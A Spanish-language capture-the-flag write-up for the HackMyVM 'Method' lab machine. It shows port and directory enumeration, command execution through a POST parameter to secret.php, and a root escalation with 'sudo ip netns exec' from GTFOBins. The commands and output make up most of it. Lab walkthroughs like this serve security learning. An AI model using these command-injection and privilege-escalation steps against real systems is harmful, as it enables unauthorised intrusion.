cd ~/blog

~/writeups/hmv/016-method.md

016 - Method

easy Linux hmv 03-02-2024
HTTP POST method requirement bypass (RCE)sudo ip netns Privesc
hackmyvm.eu/machines/machine.php?vm=Method

~1 min de lectura


Comenzamos con un escaneo general y uno específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.236
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.236
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 12:30 -03
Nmap scan report for 192.168.1.236
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
|   256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_  256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds

Enumeramos el sitio con gobuster, excluyendo el tamaño de la página por defecto (que responde 200 ante cualquier URL):

 gobuster dir -u 192.168.1.236 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt --exclude-length 3690
...
/note.txt             (Status: 200) [Size: 23]
/secret.php           (Status: 302) [Size: 0] [--> https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg]
...

La nota da una pista clara:

Enumeration is the key

Enumeramos también con dirb, que encuentra más rutas:

 dirb http://192.168.1.236 -o dirb_results -R
...
+ http://192.168.1.236/index.htm (CODE:200|SIZE:344)
+ http://192.168.1.236/sitemap.xml (CODE:200|SIZE:285)
...

Revisamos ambas con curl:

 curl http://192.168.1.236/index.htm
<h1>It's Hacking Time</h1>
<img src="hacker.gif" alt="Hacker" height="640" width="640">
<img hidden="true" src="office.gif" alt="hahahahaha" height="640" width="640">
<form action="/secret.php" hidden="true" method="GET">
     <input type="text" name="HackMyVM" value="" maxlength="100"><br>
     <input type="submit" value="Submit">
</form>

❯ curl http://192.168.1.236/sitemap.xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="https://hackmyvm/sitemap/0.9">
   <url>
      <loc>https://hackmyvm.eu/machines/index.htm?vm=Brain</loc>
      <lastmod>2020-02-13</lastmod>
      <changefreq>monthly</changefreq>
      <priority>0.8</priority>
   </url>
</urlset>

secret.php recibe el valor de HackMyVM. Lo probamos por GET, pero nos indica que el método no es correcto:

 curl "http://192.168.1.236/secret.php?HackMyVM=id"
Now the main part what it is loooooool<br>Try other method

Como curl usa GET por defecto, forzamos el método POST, que sí ejecuta el comando:

 curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=id"
You Found ME : - (<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

Tenemos RCE:

 curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=ls"
You Found ME : - (<pre>hacker.gif
index.htm
index.html
note.txt
office.gif
secret.php
sitemap.xml
</pre>

Leyendo el propio secret.php encontramos unas credenciales:

 curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=cat secret.php"

Con ellas iniciamos sesión por SSH y obtenemos la primera flag. Comenzamos la escalada con sudo -l:

prakasaka@method:~$ sudo -l
Matching Defaults entries for prakasaka on method:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User prakasaka may run the following commands on method:
    (!root) NOPASSWD: /bin/bash
    (root) /bin/ip

Podemos ejecutar /bin/bash como cualquier usuario salvo root, y ip como root (pero pidiendo contraseña). Según GTFOBins, ip permite escalar usando network namespaces:

 sudo ip netns add foo
 sudo ip netns exec foo /bin/sh

Y limpiamos el namespace creado:

 sudo ip netns delete foo

Obtenemos acceso root y nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados